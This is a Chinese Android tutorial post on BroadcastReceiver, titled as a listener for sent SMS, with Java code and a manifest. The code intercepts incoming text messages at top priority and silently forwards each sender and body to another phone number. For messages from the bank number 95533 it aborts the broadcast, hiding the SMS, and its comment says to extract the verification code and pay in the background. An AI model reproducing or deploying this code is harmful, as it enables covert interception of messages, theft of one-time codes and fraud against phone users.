Android(java)学习笔记119:BroadcastReceiver之 短信发送的广播接收者

有时候,我们需要开发出来一个短信监听器,监听用户发送的短信记录,下面就是一个案例,这里同样需要使用广播机制

下面同样是代码示例,MainActivity.java 和  activity_main.xml这里不做什么编程操作

1.第一步,还是老样子,我们需要买一个收音机

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsListener extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        System.out.println("短信到来了。");
        //objs里面存放的就是一组短信
        Object[] objs = (Object[]) intent.getExtras().get("pdus");
        for(Object obj:objs){
            //得到每一条短信数据
            SmsMessage  smsMessage = SmsMessage.createFromPdu((byte[]) obj);
            String body =  smsMessage.getMessageBody();
            String address = smsMessage.getOriginatingAddress();
            System.out.println(body);
            System.out.println(address);
//将获取短信数据(address+"--"+body)发送到5556手机(这里是模拟器),sendTextMessage()方法最后两个参数为null,表示没有发送和接收短信通知 SmsManager smsManager
= SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, address+"--"+body, null, null); if(address.equals("95533")){ System.out.println("提取验证码,偷偷的后台支付"); abortBroadcast(); } } } }

2.第二步和第三步是:装电池  调频道:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.itheima.smslistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.itheima.smslistener.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver android:name="com.itheima.smslistener.SmsListener" >
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>

</application> </manifest>

 

原文地址:https://www.cnblogs.com/hebao0514/p/4741897.html